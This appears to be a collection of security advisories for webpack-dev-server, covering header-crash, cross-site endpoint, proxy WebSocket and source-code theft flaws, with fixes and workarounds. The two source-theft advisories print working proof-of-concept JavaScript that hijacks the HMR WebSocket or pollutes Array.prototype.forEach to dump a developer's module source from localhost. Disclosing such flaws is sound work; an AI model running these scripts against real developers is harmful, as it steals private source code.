Impact

An unauthenticated peer that can reach the webpack-dev-server process can terminate it by sending either a normal HTTP request with a malformed Host header, or a WebSocket upgrade to the default /ws endpoint with a malformed Origin header. The malformed header triggers an uncaught exception in the host-validation path and crashes the dev server process.

Patches

Fixed in webpack-dev-server 5.2.6 by treating malformed Host and Origin header values as invalid rather than throwing (see PR #5699).

Workarounds

Keep the dev server bound to localhost (the default) and do not expose it to untrusted networks.

Impact

The internal /webpack-dev-server/open-editor and /webpack-dev-server/invalidate endpoints perform state-changing actions on any GET request, without verifying that the request originated from the dev server's own page. Any website a developer visits while the dev server is running can trigger them cross-origin with no interaction beyond the visit.

An attacker can open an arbitrary existing local file in the developer's editor, including files outside the project root (e.g. ~/.ssh/config). The file's contents are not returned to the attacker. Repeated requests can also spawn editor processes and force recompilations, degrading the developer's machine.

Patches

Fixed in webpack-dev-server 5.2.6 by rejecting cross-site requests to the /webpack-dev-server/open-editor and /webpack-dev-server/invalidate endpoints (see PR #5698).

Workarounds

None

Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).

Patches: Fixed in webpack-dev-server.5.

Workarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.

Summary Source code may be stolen when you access a malicious web site with non-Chromium based browser.

Details The Origin header is checked to prevent Cross-site WebSocket hijacking from happening which was reported by CVE-2018-14732. But webpack-dev-server always allows IP address Origin headers. https://github.com/webpack/webpack-dev-server/blob/55220a800ba4e30dbde2d98785ecf4c80b32f711/lib/Server.js#L3113-L3127 This allows websites that are served on IP addresses to connect WebSocket. By using the same method described in the article linked from CVE-2018-14732, the attacker get the source code.

related commit: https://github.com/webpack/webpack-dev-server/commit/72efaab83381a0e1c4914adf401cbd210b7de7eb (note that checkHost function was only used for Host header to prevent DNS rebinding attacks so this change itself is fine.

This vulnerability does not affect Chrome 94+ (and other Chromium based browsers) users due to the non-HTTPS private access blocking feature.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open http://{ipaddress}/?target=http://localhost:8080&file=main with a non-Chromium browser (I used Firefox 134.0.1) 5. Edit src/index.js in the extracted directory 6. You can see the content of src/index.js

!image

The script in the POC site is: js window.webpackHotUpdate = (...args) => { console.log(...args); for (i in args[1]) { document.body.innerText = args[1][i].toString() + document.body.innerText console.log(args[1][i]) } }

let params = new URLSearchParams(window.location.search); let target = new URL(params.get('target') || 'http://127.0.0.1:8080'); let file = params.get('file') let wsProtocol = target.protocol === 'http:' ? 'ws' : 'wss'; let wsPort = target.port; var currentHash = ''; var currentHash2 = ''; let wsTarget = ${wsProtocol}://${target.hostname}:${wsPort}/ws; ws = new WebSocket(wsTarget); ws.onmessage = event => { console.log(event.data); if (event.data.match('"type":"ok"')) { s = document.createElement('script'); s.src = ${target}${file}.${currentHash2}.hot-update.js; document.body.appendChild(s) } r = event.data.match(/"([0-9a-f]{20})"/); if (r !== null) { currentHash2 = currentHash; currentHash = r[1]; console.log(currentHash, currentHash2); } }

Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and uses a non-Chromium based browser.

Summary Source code may be stolen when you access a malicious web site.

Details Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables. By using Function::toString against the values in webpackmodules, the attacker can get the source code.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/ 5. You can see the source code output in the document and the devtools console.

!image

The script in the POC site is: js let moduleList const onHandlerSet = (handler) => { console.log('h', handler) moduleList = handler.require.m }

const originalArrayForEach = Array.prototype.forEach Array.prototype.forEach = function forEach(callback, thisArg) { callback((handler) => { onHandlerSet(handler) }) originalArrayForEach.call(this, callback, thisArg) Array.prototype.forEach = originalArrayForEach }

const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { console.log(moduleList) for (const key in moduleList) { const p = document.createElement('p') const title = document.createElement('strong') title.textContent = key const code = document.createElement('code') code.textContent = moduleList[key].toString() p.append(title, ':', document.createElement('br'), code) document.body.appendChild(p) } }) document.head.appendChild(script)

This script uses the function generated by renderRequire. js // The require function function webpackrequire(moduleId) { // Check if module is in cache var cachedModule = webpackmodulecache[moduleId]; if (cachedModule !== undefined) { return cachedModule.exports; } // Create a new module (and put it into the cache) var module = webpackmodulecache[moduleId] = { // no module.id needed // no module.loaded needed exports: {} }; // Execute the module function var execOptions = { id: moduleId, module: module, factory: webpackmodules[moduleId], require: webpackrequire }; webpackrequire.i.forEach(function(handler) { handler(execOptions); }); module = execOptions.module; execOptions.factory.call(module.exports, module, module.exports, execOptions.require); // Return the exports of the module return module.exports; } Especially, it uses the fact that Array::forEach is called for webpackrequire.i and execOptions contains webpackrequire. It uses prototype pollution against Array::forEach to extract webpackrequire reference.

Impact This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

<details> <summary>Old content</summary>

Summary Source code may be stolen when you use output.iife: false and access a malicious web site.

Details When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. webpackmodules). Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object. By using Function::toString against the values in webpackmodules, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC 1. Download reproduction.zip and extract it 2. Run npm i 3. Run npx webpack-dev-server 4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/ 5. Open the devtools console. 6. You can see the content of src/index.js and other scripts loaded.

!image

The script in the POC site is: js const script = document.createElement('script') script.src = 'http://localhost:8080/main.js' script.addEventListener('load', () => { for (const module in window.webpackmodules) { console.log(${module}:, window.webpackmodules[module].toString()) } }) document.head.appendChild(script)

Impact This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

</details>

A Regular expression denial of service (ReDoS) flaw was found in Function interpolateName in interpolateName.js in webpack loader-utils 2.0.0 via the url variable in interpolateName.js. The prototype pollution vulnerability can be mitigated with several best practices described here: https://learn.snyk.io/lessons/prototype-pollution/javascript/